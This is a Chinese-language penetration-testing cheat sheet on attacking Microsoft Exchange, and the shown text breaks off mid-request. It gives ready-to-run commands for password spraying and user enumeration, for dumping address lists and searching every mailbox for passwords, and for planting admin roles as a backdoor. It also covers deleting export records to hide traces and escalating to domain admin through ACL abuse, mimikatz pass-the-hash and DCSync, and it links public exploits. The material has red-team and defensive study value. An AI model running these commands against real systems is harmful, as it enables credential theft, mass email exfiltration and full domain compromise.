爆破邮箱账户步骤,首先确定目标 AD 域名,再爆破用户名,最后爆破密码。值得一提的是,不是每个域用户都有邮箱账户,邮箱账户需要 Exchange 管理员手动给域用户添加。如果密码爆破成功后出现 `未找到 ISLAND\domain_admin 的邮箱` 的提示,则说明该账户未开通邮箱,但这个账户也是有效的域用户账户。
可以利用以下工具进行爆破
- [APT34 Exchange 爆破工具](https://github.com/blackorbird/APT_REPORT/blob/master/APT34/Jason.zip)
- [grayddq/EBurst](https://github.com/grayddq/EBurst) - 这个脚本主要提供对 Exchange 邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。
- [sensepost/ruler](https://github.com/sensepost/ruler) - 爆破 Exchange
```
./ruler --domain https://targetdomain.com/autodiscover/autodiscover.xml -k brute --users /path/to/user.txt --passwords /path/to/passwords.txt -v --threads 5 --delay 0
```
### 获取 AD 域名
在 Windows 进行 NTLM 认证时,无论输入的凭证是否正确,返回的 ntlmssp 包中都会带上大量系统相关信息:包括 NetBIOS 域名、NetBIOS 机器名、DNS 域名、DNS 机器名等。攻击者需要从 HTTP NTLM 认证的接口泄露 AD 域名,来配合接下来的用户名爆破。
```
# 指定要访问的接口,解析返回的 ntlmssp 包
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews -p 443 192.168.123.123
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/Autodiscover -p 443 192.168.123.123
# MailSniper.ps1,仅支持 /Autodiscover /ews 两个接口
Invoke-DomainHarvestOWA -ExchHostname 192.168.123.123
```
### 用户名爆破
Exchange 存在基于时间的用户名枚举问题,Exchange 2016 版本的表现为:爆破到真实存在的域用户(无论是否开通邮箱账户)时,其响应开始接收时间会更短(不是完整响应时间)。
经过传统的邮箱收集加上一定的高频用户名形成用户名字典后,需要为字典设置三种格式:domain\username、username、user@domain。Exchange 管理员可以任意配置使用一种或多种格式,因此爆破的时候最好带上所有格式。
- Burp 爆破
在没有验证码或者可以绕过的情况下,用 burp 爆破 /ecp、/owa 接口,在爆破结果中选择 Intruder -> Columns -> Response received,查看响应开始接收时间更短的用户名,即存在的域用户。
- 脚本爆破
```bash
# MailSniper.ps1
# 支持 /owa、/Microsoft-Server-ActiveSync
Invoke-UsernameHarvestEAS -ExchHostname 192.168.123.123 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt
Invoke-UsernameHarvestOWA -ExchHostname 192.168.123.123 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt
```
- SMTP
通过 SMTP 协议枚举:邮箱存在会返回 250,不存在返回 500。但如果目标邮服配置了 Catch-all 邮箱,则所有发往目标邮服的无效邮箱都会被 Catch-all 邮箱接收,即无论邮箱是否存在都会返回 250。
### 密码喷洒
在获得 AD 域名和存在的用户名后,可以通过多个接口爆破 Exchange。
- Burp 爆破
在没有验证码或者可以绕过的情况下,用 burp 爆破 `/ecp`、`/owa` 接口。
- 脚本爆破
```bash
# EBurst 最推荐
# EBurst 支持所有接口爆破,-C 检查目标开放的接口,再指定存活接口爆破。建议 /ews 或默认
python2 EBurst.py -d 192.168.123.123 -L username.txt -p 123456 -T 10
python2 EBurst.py -d 192.168.123.123 -C
# MailSniper.ps1 仅支持 /OWA /EWS /Microsoft-Server-ActiveSync 接口,推荐 /ews
Invoke-PasswordSprayEWS -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayOWA -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEAS -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
```
---
## Post Exchange
### ecp 管理
exchange server 默认将其管理页面入口 Exchange Admin Center(ecp)和其正常邮箱登录口 Outlook Web Access(owa)一同发布。默认登录地址为 https://domain/ecp/
**权限**
域管 administrator 默认为邮箱管理员,但邮箱管理员和域管其实并无关系。添加邮箱管理员不会修改用户域内权限。
**搜索**
合规性管理 ——> 就地电子数据展示和保留 ——> 添加规则
**委托**
设置权限将邮箱委托给指定用户管理使用。
ecp ——> 收件人 ——> 目标用户 ——> 邮件委托 ——> 完全访问添加指定用户
### 邮箱列表导出
**GlobalAddressList**
Exchange 存在一个全局地址列表(GAL),所有邮箱地址都位列其中。获得任一邮箱用户凭证后,可以多种方式获取 GAL,即能用于后续钓鱼,也能用于扩大爆破范围。
#### /OWA 直接导出
```
登录后,选择联系人->All Users。
https://x.x.x.x/owa/#path=/people
使用该目录获取通讯录列表, 可以通过 burp 修改返回邮件地址数量导出。一般不推荐
```
#### Offline Address Book (OAB)
/OAB 本身就是地址集合列表的副本。首先需要构造包访问 /Autodiscover 获取具体的 /OAB/xxx/oab.xml,然后下载其中的 .lzx 文件,最后通过 oabextract 解析后得到其中的 SMTP 地址信息。
/Autodiscover 除了会返回 oab.xml 地址外,还会返回域控地址。
访问 :`https://<domain>/autodiscover/autodiscover.xml`
```
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: test.f8x.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)
Authorization: Basic Q09OVE9TT1x1c2VyMDE6UEBzc3cwcmQ=
Content-Length: 341
Content-Type: text/xml
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>test@f8x.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
```
请求 `<OABUrl>/oab.xml` 页面并列出 OAB 文件:
找到其中 Default Global Address List (默认全局地址列表) 对应的 lzx 文件名称,lzx 文件名称为 fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx
下载 lzx 文件
```
win-4j4l8gp7bf2.f8x.com/OAB/b6eaa1c0-d7f5-4619-ad8d-b453f967353b/fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx
```
对 lzx 文件解码,还原出 Default Global Address List
```
wget http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract
chmod +x oabextract
./oabextract fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx gal.oab
strings gal.oab|grep SMTP
```
#### ldap
```
ldapsearch -x -H ldap://$IP:389 -D "CN=$username,CN=Users,DC=f8x,DC=com" -w $password -b "DC=f8x,DC=com" |grep mail:
```
Windows 系统通过 PowerView 获取所有用户邮件地址
```
$uname=$username
$pwd=ConvertTo-SecureString $password -AsPlainText -Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Get-NetUser -Domain f8x.com -DomainController $IP -ADSpath "LDAP://DC=f8x,DC=com" -Credential $cred | fl mail
```
#### 域内查询
域内查询可以使用传统的内网渗透方式导出域用户。也可以使用域管直接远程操作 Exchange 导出邮箱地址。
```
$User = "f8x\administrator"
$Pass = ConvertTo-SecureString -AsPlainText DomainAdmin123! -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Exchange01.f8x.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
Get-Mailbox|fl PrimarySmtpAddress
Remove-PSSession $Session
```
#### /mapi
[sensepost/ruler](https://github.com/sensepost/ruler) - ruler 主要通过 /mapi 模拟 Outlook 通信,通过 /Autodiscover 实现与 Outlook 类似的自动配置能力,ruler 会自动发现 Exchange 域内的域名并访问。但如果攻击者处于域外的话,会因为 DNS 无法解析导致攻击失败,需要攻击者手动配置域名解析。
```
ruler --insecure --url https://MAIL/autodiscover/autodiscover.xml --email test@test.com -u test -p 密码 --verbose --debug abk dump -o list.txt
```
```
ruler-win64.exe --insecure --url https://192.168.123.123/autodiscover/autodiscover.xml --email zhangsan@island.com -u zhangsan -p ZS@123qwe --verbose --debug abk list
ruler-win64.exe --insecure --url https://192.168.123.123/autodiscover/autodiscover.xml --email zhangsan@island.com -u zhangsan --hash 82b6413f42426e0b40e6d0674eb16299 --verbose --debug abk list
```
#### /EWS
[dafthack/MailSniper](https://github.com/dafthack/MailSniper) - 通过 /EWS 指定搜索条件获取 GAL,类似于爆破,很慢。
```
Get-GlobalAddressList -ExchHostname MAIL -UserName CORP\test -Password 密码 -OutFile global-address-list.txt
```
```
# MailSniper.ps1
Get-GlobalAddressList -ExchHostname 192.168.123.123 -username island.com\lisi -password LS@123qwe -OutFile global-address-list.txt
```
#### /rpc
[impacket](https://github.com/SecureAuthCorp/impacket) - 通过 /RPC 接口配合 [MS-OXNSPI] 和 [MS-NSPI] 协议直接获取 AD 中的地址簿信息,最快。
```
python3 exchanger.py DOMAIN/test:密码@MAIL nspi list-tables
python3 exchanger.py DOMAIN/test:密码@MAIL nspi dump-tables -guid xxxx
```
```
python3 exchanger.py island.com/zhangsan@192.168.123.123 -hashes :82b6413f42426e0b40e6d0674eb16299 nspi list-tables
python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.123.123 nspi list-tables -count
python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.123.123 nspi dump-tables -guid dd5c6c6e-f050-4fef-b91f-4ac4cb16d5cb
```
---
### 邮件导出
如果爆出了密码,直接 web 端访问 /OWA 登录查看。
如果获得了 hash,可以 pth 后 Invoke-SelfSearch 访问 /ews 查看:
```bash
# MailSniper.ps1
# 指定 lisi 的账密查询 lisi 的所有邮件
Invoke-SelfSearch -Folder all -Mailbox lisi@island.com -ExchHostname win2012-ex2016.island.com -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv lisi-email-search.csv -Remote -User island.com\lisi -Password LS@123qwe
# 用当前会话的默认凭证搜索 zhangsan 的所有邮件
# 配合 mimikatz 实现 pth 后搜索
Invoke-SelfSearch -Folder all -Mailbox zhangsan@island.com -ExchHostname win2012-ex2016.island.com -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv zhangsan-email-search.csv
```
**相关工具**
- [b0bac/GetMail](https://github.com/b0bac/GetMail) - 利用NTLM Hash读取Exchange邮件
---
### 搜索共享文件
老版本 Exchange 支持查看域内文件共享,且支持移动端通过 `/Microsoft-Server-ActiveSync` 远程访问网络内部的共享文件。在 Exchange 2010 及其后续版本中,删除了 Outlook 的文件共享权限,但通过 `/Microsoft-Server-ActiveSync` 接口依然可以。
```bash
# UNC 路径仅支持主机名,不支持 IP 和 FQDN
python2 -m peas 192.168.123.123
python2 -m peas 192.168.123.123 -u island.com\zhangsan -p ZS@123qwe --check
python2 -m peas 192.168.123.123 -u island.com\zhangsan -p ZS@123qwe --list-unc="\\WIN2012-DC1"
```
在实战中,如果已经拿下域机器了,这个手法的使用意义不大。但是如果在域外,或者是直接攻击互联网上的 Exchange,这种手法不失为一种收集共享文件的方法,配合下面的方法收集域内所有主机名再查询共享文件效果更佳。
---
### 搜索域信息
/rpc 接口支持各种远程调用,其中包括 `[MS-OXNSPI]` 协议,该协议用于客户端从 Exchange 服务器获取 OAB 数据。Exchange 本身并不存储地址簿数据,而是通过 `[MS-NSPI]` 协议与域控通信,访问 Active Directory 来获取地址簿数据。
`[MS-OXNSPI]` 和 `[MS-NSPI]` 协议都是用于获取地址簿数据的,区别是前者用于客户端与 Exchange 通信,后者用于 Exchange 与域控通信。因此,`[MS-NSPI]` 也是继 LDAP 和 `[MS-DRSR]`(也称为 DcSync 和 DRSUAPI)之后第三个访问 Active Directory 的网络协议。
遗憾的是,`[MS-OXNSPI]` 和 `[MS-NSPI]` 并不能获取全部的 Active Directory 属性,而是 X.500 空间集的属性。而且,根据微软文档描述,这两个协议仅用于获取 AD(Active Directory) 中的地址簿数据,而不能访问整个 AD 条目。不过研究人员发现,可以通过爆破 DNT(Distinguished Name Tags)的方式遍历全部 AD 条目,但是依然无法获取额外的 AD 属性。
```bash
# 需要修改 exchanger.py,否则保存的时候可能会报解码错误。
class Exchanger:
......
......
def set_output_file(self, filename):
self.__outputFileName = filename
# self.__outputFd = open(self.__outputFileName, 'w+')
self.__outputFd = open(self.__outputFileName, 'w+', encoding="utf-8") # 添加 encoding="utf-8"
# impacket
python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.60.116 nspi dnt-lookup -start-dnt 0 -stop-dnt 100000 -lookup-type FULL -output-file dnt.txt
```
在实战中,如果已经在域内了,这个手法的使用意义不大,因为 `[MS-NSPI]` 返回的 X.500 属性不像 AD 中的那么全,不能等同于 LDAP。但是如果在域外或者是直接攻击互联网上的 Exchange,可以搜索 objectSid 来发现域内机器账户,配合 /Microsoft-Server-ActiveSync 遍历主机名查询共享文件。
---
### 管理 Exchange
#### 已有高权限域账号
通常创建 Exchange 的那个域账号会被加入 Exchange Organization Administrators 或 Organization Management 组(不同版本组名不同),如果拿到该组成员的凭证,可以使用 /PowerShell 接口对 Exchange 进行远程管理。
```bash
# 设置明文凭证并连接
$User = "island.com\enterprise_admin"
$Pass = ConvertTo-SecureString -AsPlainText EA@123qwe -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://win2012-ex2016.island.com/PowerShell -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
# 测试是否成功
Get-Mailbox
# 删除连接
Remove-PSSession $Session
```
如果没有明文密码,只有 Hash,可以用 mimikatz pth。
```
mimikatz.exe privilege::debug "sekurlsa::pth /user:enterprise_admin /domain:island.com /ntlm:d81a42dfacbaf5e346eb9a072773309d /run:powershell" exit
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://win2012-ex2016.island.com/PowerShell
Import-PSSession $Session -AllowClobber
最好域内操作,走代理可能报错。
```
#### 已有 Exchange 服务器权限
拿到服务器权限后,有两种方式对 Exchange 进行管理。
1. 通过 Exchange Management Shell 进行管理
这是一个封装好的 .ps 脚本,其原理也是使用 /PowerShell 接口对 Exchange 进行远程管理,默认使用当前凭证创建 PSSession。
2. 打开 Powershell 加载网络管理单元,不同版本 Exchange 加载语句不同:
```bash
# Exchange 2007
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
# Exchange 2010
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
# Exchange 2013 & 2016
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
```
#### 语法所需权限
通过各种方式连接上 Exchange 管理端后,会自动加载大量的 Exchange Cmdlet。Exchange 通过基于角色的访问控制(RBAC)进行权限管理,用户拥有相应的角色才可以使用对应的 Exchange Cmdlet,否则在连接阶段就不会获取没有权限的 Exchange Cmdlet。下面语句描述如何查看某个 Cmdlet 所需角色,并为用户赋予该角色,让其可以执行该 Cmdlet:
```bash
# 查看所有 Exchange Cmdlet
Get-ExCommand
# 查看执行某个 Cmdlet 所需的角色
Get-ManagementRole -Cmdlet New-ManagementRoleAssignment
# 给某个用户赋予所需角色,让其可以执行某个 Cmdlet
New-ManagementRoleAssignment -Role "Role Management" -User zhangsan -Name "Role Management Back"
# 查看角色授权是否成功
Get-ManagementRoleAssignment -Role "Role Management"|Format-List
# 删除某个角色授权
Remove-ManagementRoleAssignment -Identity "Role Management Back" -Confirm:$false
需要注意的是,Get-ManagementRole 和 Get-ManagementRoleAssignment 需要 Role Management 角色,而该角色一般被分配给 Organization Management 角色组。
# Exchange 管理端添加 Exchange 管理员
Add-RoleGroupMember "Organization Management" -Member zhangsan -BypassSecurityGroupManagerCheck
Add-RoleGroupMember "Exchange Organization Administrators" -Member zhangsan -BypassSecurityGroupManagerCheck
# 域管添加 Exchange 管理员
net groups "Organization Management" zhangsan /DOMAIN /ADD
net groups "Exchange Organization Administrators" zhangsan /DOMAIN /ADD
# 将用户加入 Role Management 组,可以任意添加角色,相当于后门
New-ManagementRoleAssignment -Role "Role Management" -User zhangsan -Name "Role Management Back"
```
添加特定的角色后,攻击者就可以进行管理员级别的信息收集。
#### 统计信息
```bash
# 查看所有邮箱信息,默认显示邮件数量、最后登录时间
Get-Mailbox -ResultSize unlimited | Get-MailboxStatistics
# 查看 zhangsan 的发件箱详情
Get-MessageTrackingLog -Start "01/11/2019 09:00:00" -Sender "zhangsan@island.com" -EventID SEND |Format-Table Timestamp,ClientIp,ClientHostname,EventId,Sender,Recipients,MessageSubject
```
#### 全局搜索
两种方式搜索全局邮件,/PowerShell 或 /EWS。
1. 通过 /PowerShell 查询
如果用户拥有 Mailbox Import Export 和 Mailbox Search 角色则可以使用搜索和导出相关的 Cmdlet,老版本 Exchange 中这两个角色默认没有分配给任何用户或角色组,包括 Organization Management 组。在实战中,通常需要先用 Organization Management 组用户登录管理接口,给自己赋予这两个角色,再重新连接自动从远程会话获取相应 Cmdlet。
```
# 赋予角色,需要重新连接才能从远程会话获取相应 cmdlet
New-ManagementRoleAssignment -Role "Mailbox Search" -User enterprise_admin
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User enterprise_admin
# 删除角色
Remove-ManagementRoleAssignment -Identity "Mailbox Search-enterprise_admin" -Confirm:$false
Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-enterprise_admin" -Confirm:$false
# 导出所有邮箱正文中带 pass 的邮件,localhost 为 Exchange 服务器
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -Mailbox $_.name -CompletedRequestAgeLimit 0 -ContentFilter {(body -like "*pass*")} -FilePath ("\\localhost\c$\test\"+($_.name)+".pst")}
# 删除导出记录,导出时不加 CompletedRequestAgeLimit 参数会留下导出记录
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
# 搜索所有邮件,SearchQuery 只支持向后匹配,也可以匹配邮件其他位置比如收件人、发件人、CC 等
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{Search-Mailbox -Identity $_.name -SearchQuery "pass*" -TargetMailbox "zhangsan" -TargetFolder "outAll" -LogLevel Suppress}
```
2. 通过 /EWS 查询
如果用户拥有 ApplicationImpersonation 角色则可以模拟其他用户登录 /EWS,进而通过 /EWS 编程实现搜索所有邮件的功能。在实战中,通常需要先用 Organization Management 组用户登录管理接口,给自己赋予这个角色,再通过 /EWS 搜索邮件。
这里修改了 MailSniper 脚本,优化授权生效时间、新增匹配附件名、优化输出内容、新增指定账密等:
```bash
# MailSniper.ps1
# 搜索所有邮件,需要提供管理员账号给用户授予 ApplicationImpersonation 权限
Invoke-GlobalMailSearch -Folder all -ImpersonationAccount enterprise_admin -ExchHostname win2012-ex2016.island.com -AdminUserName enterprise_admin -AdminPassword EA@123qwe -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv global-email-search.csv
```
---
### 攻击域管
#### ACL (已有 Exchange 服务器权限)
**描述**
在 Exchange 安装完后,域内会添加一个名为 Microsoft Exchange Security Groups 的 OU,其包括两个特殊的组:Exchange Windows Permissions 和 Exchange Trusted Subsystem,后者隶属于前者。所有的 Exchange 服务器都会加入 Exchange Trusted Subsystem 组,也就是 Exchange 服务器都继承了 Exchange Windows Permissions 组的权限,而该组拥有对域分区的 WriteDacl 权限,且可以继承。因此,在拿下 Exchange 服务器后,可以利用 Exchange 机器账户对域分区添加任意 ACL 进行提权,比如添加 Dcsync 权限导出域内所有 Hash。
**相关文章**
- [域渗透——使用Exchange服务器中特定的ACL实现域提权](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83/)
**复现**
所有的 Exchange Server 都在 Exchange Windows Permissions 组里面, 而这个组默认就对域有 WriteACL 权限, 那么当我们拿下 Exchange 服务器的时候, 就可以尝试使用 WriteACL 赋予自身 Dcsync 的权限.
使用 powerview,为当前 exchange 机器名用户增加 dcsync 权限, 然后抓取 hash
- https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
```
Import-Module ActiveDirectory
Import-Module .\PowerView.ps1
import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members test
```
由于这个权限, Exchange 的 RCE 常用以在内网渗透中用来提升到域管权限.
**详细步骤**
```bash
# 查看 Exchange Windows Permissions 对域 NC 有 WriteDacl 权限
AdFind.exe -h 192.168.123.123 -s Base -b "DC=island,DC=com" nTSecurityDescriptor -nosacl -sddl+++ -sddlfilter A;;"WRT PERMS";;;"Exchange Windows Permissions" -recmute
# 拿下 Exchange 服务器权限后,获取机器账户 Hash 并 pth
mimikatz "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz "privilege::debug" "sekurlsa::pth /user:WIN2012-EX2016$ /domain:island.com /ntlm:2d03b02750ee9a3bd9902a370cf67746 /run:cmd" exit
# PowerView.ps1
# pth 后,用 Exchange 机器账户权限修改域分区 ACL,为 zhangsan 添加 Dcsync 权限
# 当然,也可以为 Exchange 机器账户自身添加 Dcsync 权限
Add-DomainObjectAcl -DomainController 192.168.123.123 -TargetDomain island.com -TargetIdentity "DC=island,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose
Get-DomainObjectAcl -DomainController 192.168.123.123 -Domain island.com -Identity island | ?{$_.SecurityIdentifier -eq "S-1-5-21-65208363-682840273-3768764330-sidofzhangsan"}
Remove-DomainObjectAcl -DomainController 192.168.123.123 -TargetDomain island.com -TargetIdentity "DC=island,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose
# 检查是否成功给 zhangsan 添加 Replicating Directory Changes 和 Replicating Directory Changes All 权限
AdFind.exe -h 192.168.123.123 -s Base -b "DC=island,DC=com" nTSecurityDescriptor -nosacl -sddl+++ -sddlfilter A;;;"Replicating Directory Changes";;"zhangsan" -recmute
# 用 zhangsan 的凭证 Dcsync
mimikatz privilege::debug "sekurlsa::pth /user:zhangsan /domain:island.com /ntlm:82b6413f42426e0b40e6d0674eb16299 /run:cmd" exit
mimikatz privilege::debug "lsadump::dcsync /domain:island.com /all /csv /dc:WIN2012-DC1.island.com" exit
python3 secretsdump.py island.com/zhangsan:ZS@123qwe@192.168.123.123 -dc-ip 192.168.123.123 -just-dc-ntlm
```
与域控进行 LDAP 通信的时候有许多注意的地方,比如本地走代理,此时是在域外执行的,需要指定域控、域名等;比如普通域用户权限 AdFind 默认查询 ACL 会失败,因为没有权限查询 SACL 导致域控什么也不返回,需要添加 `-nosacl`,而 powerview 默认只查询 DACL 所以可以成功。
或者,也可以直接中继 Exchange,让 ntlmrelayx 自动完成提权。
```bash
# Exchange System 权限执行
powershell Invoke-WebRequest http://192.168.123.123 -UseDefaultCredentials
# 内网机器上做中继,自动通过 ACL 进行提权
python3 ntlmrelayx.py -t ldap://192.168.123.124 -smb2support
```
#### ACL (已有高权限域账号)
**描述**
`Exchange Organization Administrators` 或 `Organization Management` 组对 Exchange Windows Permissions 和 Exchange Trusted Subsystem 组拥有 `GenericAll` 权限,因此,如果获得了 `Organization Management` 组成员的权限,可以将任意账户添加至 `Exchange Windows Permissions` 或 `Exchange Trusted Subsystem` 组,进而继续通过上述方法提权。
```bash
# 查看 Organization Management 对 Exchange Windows Permissions 或 Exchange Trusted Subsystem 有 GenericAll 权限
AdFind.exe -h 192.168.123.123 -b "DC=island,DC=com" -f "|(name=Exchange Windows Permissions)(name=Exchange Trusted Subsystem)" nTSecurityDescriptor -nosacl -sddl+++ -sddlfilter A;;FC;;;"Organization Management" -recmute
# PowerView.ps1
# 通过 Organization Management 组成员将任意用户添加至 Exchange Windows Permissions 或 Exchange Trusted Subsystem
# 当然,也可以将该组成员自身添加至 Exchange Windows Permissions 或 Exchange Trusted Subsystem
# Add-DomainGroupMember 不支持域外指定域控
Add-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "zhangsan" -Verbose
Get-DomainGroupMember -DomainController 192.168.123.123 -Domain island.com -Identity "Exchange Windows Permissions" -Recurse -Verbose
Remove-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "zhangsan" -Verbose
# 之后就跟 Exchange 机器账户利用方式一样,zhangsan 可以给别人添加 Dcsync 权限
```
---
### PTH
- [pentest-tools-public/Pass-to-hash-EWS](https://github.com/pentest-tools-public/Pass-to-hash-EWS)
---
### relay
- [Exchange 中继](../../OS安全/实验/NTLM中继.md#exchange中继)
---
### OUTLOOK 命令执行
**描述**
OUTLOOK 客户端有一个 规则与通知 的功能,通过该功能可以使 outlook 客户端在指定情况下执行指定的指令。若我们获得某用户的凭证,可以通过此功能设置 “用户收到含指定字符的邮件时 执行指定的指令比如 clac.exe”,当用户登录 outlook 客户端并访问到此邮件时,它的电脑便会执行 calc.exe。
但是,当触发动作为启动应用程序时,只能直接调用可执行程序,如启动一个 exe 程序,但无法为应用程序传递参数,想要直接上线,我们可以将 EXE 放到某共享目录下,或者直接上传到用户的机器。
具体步骤为打开规则与通知功能,然后新建功能,在接收到某条件邮件时启动指定应用程序
实战中不太好利用,微软在 2017 年陆续修复了这些攻击面:默认禁止规则启动应用程序和运行脚本;默认禁止自定义表单执行脚本且需要将每一个自定义表单消息类注册为受信任的表单消息类;默认关闭主页功能。
**相关文章**
- https://tttang.com/archive/1487/#toc_outlook
- [利用Outlook规则,实现RCE](https://mp.weixin.qq.com/s/hrWONscsYn9TX0L3sLleyA)
---
## 漏洞
### CVE-2018-8581 任意用户伪造漏洞
- [PushSubscription abuse (CVE-2018-8581)](../../OS安全/实验/NTLM中继.md#pushsubscription-abuse-cve-2018-8581)
---
### CVE-2020-0688 远程代码执行漏洞
**简介**
当攻击者通过各种手段获得一个可以访问 Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的 exchange 上执行任意代码,直接获取服务器权限。
**影响版本**
- Exchange Server 2010 SP3
- Exchange Server 2013
- Exchange Server 2016 : cu16/cu17
- Exchange Server 2019 : cu5/cu6
**相关文章**
- [微软Exchange服务器远程代码执行漏洞复现分析[CVE-2020-0688]](https://xz.aliyun.com/t/7299)
**POC | Payload | exp**
- [Ridter/cve-2020-0688](https://github.com/Ridter/cve-2020-0688)
- [random-robbie/cve-2020-0688](https://github.com/random-robbie/cve-2020-0688)
- [zcgonvh/CVE-2020-0688](https://github.com/zcgonvh/CVE-2020-0688)
---
### CVE-2020-16875 远程代码执行漏洞
**简介**
由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个 Exchange 角色进行身份验证的用户权限,由于 Exchange 服务以 System 权限运行,触发该漏洞亦可获得系统最高权限。
**影响版本**
- Exchange Server 2016 : cu16/cu17
- Exchange Server 2019 : cu5/cu6
**MSF 模块**
```
use exploit/windows/http/exchange_ecp_dlp_policy
```
**相关文章**
- [CVE-2020-16875:Microsoft Exchange RCE复现](https://cloud.tencent.com/developer/article/1704777)
**POC | Payload | exp**
- https://srcincite.io/pocs/cve-2020-16875.py.txt
---
### CVE-2020-17083 Microsoft Exchange Server任意代码执行漏洞
**相关文章**
- [CVE-2020-17083 Microsoft Exchange Server任意代码执行漏洞 POC](https://mp.weixin.qq.com/s/LMUMmuGfT3nmKN88O5hBAA)
**POC | Payload | exp**
- https://srcincite.io/pocs/cve-2020-17083.ps1.txt
---
### CVE-2020-17143 Microsoft Exchange 信息泄露漏洞
**POC | Payload | exp**
- https://srcincite.io/pocs/cve-2020-17143.py.txt
---
### CVE-2020-17144 登录后反序列化漏洞
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144
**影响版本**
- Exchange2010
**相关文章**
- [从 CVE-2020-17144 看实战环境的漏洞武器化](https://mp.weixin.qq.com/s/nVtE-OFoO076x6T0147AMw)
**POC | Payload | exp**
- [Airboi/CVE-2020-17144-EXP](https://github.com/Airboi/CVE-2020-17144-EXP)
- [zcgonvh/CVE-2020-17144](https://github.com/zcgonvh/CVE-2020-17144)
---
### Proxylogon && CVE-2021-26855 && 27065
- https://proxylogon.com/
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
**相关文章**
- [Reproducing the Microsoft Exchange Proxylogon Exploit Chain](https://www.praetorian.com/blog/reproducing-proxylogon-exploit/)
- [Microsoft Exchange Server CVE-2021-26855 漏洞利用](https://www.anquanke.com/post/id/234607)
- [CVE-2021-26855 Exchange Server RCE 复现](https://www.o2oxy.cn/3169.html)
- [CVE-2021-26855:Exchange SSRF致RCE复现](https://mp.weixin.qq.com/s/PDU5jeBST1IzffaWUQ3TQQ)
- [Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告](https://mp.weixin.qq.com/s/C5GPtaCp-zNbSAWXf5gVpw)
**POC | Payload | exp**
- [hausec/ProxyLogon](https://github.com/hausec/ProxyLogon)
- [dwisiswant0/proxylogscan](https://github.com/dwisiswant0/proxylogscan)
- [sirpedrotavares/Proxylogon-exploit](https://github.com/sirpedrotavares/Proxylogon-exploit)
- [charlottelatest/CVE-2021-26855](https://github.com/charlottelatest/CVE-2021-26855) - 用户枚举
- [exp.py](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Exchange/CVE-2021-26855%20Exchange%20RCE/exp.py)
```
POST /owa/auth/test11.aspx HTTP/1.1
Host: 192.168.141.136
